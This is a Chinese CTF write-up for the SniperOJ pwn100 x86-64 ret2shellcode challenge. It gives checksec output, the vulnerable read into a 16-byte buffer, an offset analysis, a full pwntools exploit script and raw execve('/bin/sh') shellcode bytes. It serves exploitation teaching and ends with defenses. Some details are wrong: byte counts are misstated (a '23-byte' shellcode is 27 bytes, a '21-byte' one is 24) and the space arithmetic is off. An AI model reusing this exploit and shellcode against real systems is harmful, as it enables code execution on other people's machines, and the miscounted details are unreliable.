1. 项目概述
sniperoj-pwn100-shellcode-x86-64是一道经典的PWN入门练习题,主要考察64位环境下shellcode的构造与利用技巧。这道题目来自SniperOJ平台,适合刚接触二进制安全的初学者理解栈溢出和shellcode的基本原理。
在实际操作中,我们需要通过分析程序保护机制、内存布局和漏洞点,最终构造出能够获取shell的payload。这道题的特殊之处在于它明确给出了栈地址,同时允许执行栈上的代码,为ret2shellcode攻击创造了理想条件。
2. 漏洞分析与环境准备
2.1 程序保护机制检查
使用checksec工具检查程序的安全保护机制:
checksec ./pwn100 [*] '/tmp/pwn100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments关键发现:
- NX disabled:栈内存可执行,这是ret2shellcode攻击的前提
- No canary:可以直接进行栈溢出攻击
- PIE enabled:代码段地址随机化,但题目给出了栈地址
2.2 关键代码分析
通过反汇编查看main函数关键逻辑:
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF buf[0] = 0LL; buf[1] = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ?\n", buf); puts("Now give me your answer : "); read(0, buf, 0x40uLL); return 0; }漏洞点分析:
- 程序直接打印了buf的栈地址(关键信息泄露)
- read函数读取0x40(64)字节到buf,但buf实际大小只有16字节(明显的栈溢出)
2.3 调试环境搭建
推荐使用pwntools配合gdb进行动态调试:
from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./pwn100') gdb.attach(p, ''' b *main+94 c ''')调试技巧:
- 在read函数调用前下断点,观察栈布局
- 计算返回地址与buf的偏移量
- 验证shellcode的执行情况
3. 攻击思路与payload构造
3.1 栈布局分析
通过调试可以获取以下关键信息:
- buf位于[rbp-0x10]
- 返回地址位于[rbp+0x8]
- 因此buf到返回地址的偏移量为0x10 + 0x8 = 24字节
内存布局示意图:
+-----------------+ | shellcode | 高地址 +-----------------+ | return addr | <- 覆盖为shellcode地址 +-----------------+ | padding | 24字节填充 +-----------------+ | buf | 低地址 +-----------------+3.2 Shellcode选择与优化
常规的shellcraft生成的shellcode过长(约44字节),而我们的可用空间有限:
可用空间计算:
- read读取0x40字节
- buf本身占用0x10字节
- 覆盖返回地址需要8字节
- 剩余空间:0x40 - 0x10 - 8 = 0x28(40)字节
因此需要寻找或构造精简的shellcode。以下是经过验证的23字节execve("/bin/sh") shellcode:
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"这段shellcode的工作原理:
- xor eax, eax (清零eax)
- mov rbx, 0xff978cd091969dd1
- neg rbx (得到/bin/sh字符串地址)
- push rbx
- mov rdi, rsp (rdi指向/bin/sh)
- cdq (rdx清零)
- push rdx
- push rdi
- mov rsi, rsp
- mov al, 59 (execve系统调用号)
- syscall
3.3 完整payload构造
payload需要包含三部分:
- 24字节padding(覆盖到返回地址)
- 返回地址(指向shellcode)
- shellcode本身
构造过程:
buf_addr = int(p.recvuntil(']',drop=True),16) shellcode_addr = buf_addr + 32 # 24+8=32 payload = 'A'*24 # padding payload += p64(shellcode_addr) # 覆盖返回地址 payload += shellcode # 实际执行的shellcode注意:shellcode_addr的计算需要考虑payload在栈中的布局。这里选择buf_addr+32是为了确保shellcode位于返回地址之后,避免被覆盖。
4. 完整利用脚本与调试技巧
4.1 完整exploit代码
from pwn import * context(os='linux', arch='amd64', log_level='debug') def exploit(): p = process('./pwn100') # 接收泄露的栈地址 p.recvuntil('[') buf_addr = p.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) log.success("Leaked stack address: 0x%x" % buf_addr) # 构造payload shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shellcode_addr = buf_addr + 32 payload = 'A'*24 payload += p64(shellcode_addr) payload += shellcode # 发送payload p.sendline(payload) p.interactive() if __name__ == '__main__': exploit()4.2 调试技巧与常见问题
地址对齐问题:
- 确保shellcode地址正确指向shellcode起始位置
- 使用gdb查看栈布局:
x/30gx $rsp
shellcode执行失败:
- 检查是否所有字符都能正确输入
- 使用
disasm查看shellcode是否被正确解释
PIE的影响:
- 虽然开启了PIE,但题目泄露了栈地址,不影响利用
- 如果遇到奇怪崩溃,尝试调整shellcode地址偏移
pwntools调试技巧:
context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, ''' b *main+94 x/10gx $rsp c ''')
5. 扩展知识与相关技术
5.1 Shellcode编写技巧
避免坏字符:
- 某些场景下\x00会被截断
- 使用编码技术避免特殊字符
更短的shellcode:
- 可以进一步优化到21字节:
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
- 可以进一步优化到21字节:
通用shellcode构造:
- 使用pwntools的shellcraft模块:
shellcode = asm(shellcraft.sh())
- 使用pwntools的shellcraft模块:
5.2 相关题目推荐
ret2shellcode基础:
- pwnable.kr - asm
- CTFlearn - shellcode
进阶挑战:
- 有NX保护的ret2shellcode
- 需要自行映射可执行内存的题目
比赛真题:
- NewstarCTF 2023 week2 pwn
- BUUCTF - warmup
5.3 防御措施
虽然本题没有开启NX保护,但在实际环境中:
- 开启NX/DEP防止栈执行
- 使用栈保护金丝雀(canary)
- 地址随机化(ASLR/PIE)
- 安全的编码实践避免溢出
6. 总结与个人心得
这道sniperoj-pwn100-shellcode-x86-64题目虽然简单,但涵盖了PWN入门的多个关键知识点:
- 栈溢出基本原理:理解缓冲区溢出如何覆盖返回地址
- shellcode构造:学习编写精简高效的机器码
- 地址计算:掌握栈布局分析和偏移计算
- 调试技巧:使用gdb验证攻击效果
在实际操作中,最容易出错的是shellcode地址的计算。我建议先在gdb中手动验证地址是否正确,再编写完整exploit。另外,不同版本的libc可能会导致shellcode行为差异,遇到问题时可以尝试更换测试环境。
对于想深入学习PWN的同学,建议从这类基础题目入手,逐步掌握栈溢出、ROP等核心技术。同时要养成查看保护机制的习惯,这对后续学习更复杂的漏洞利用技术至关重要。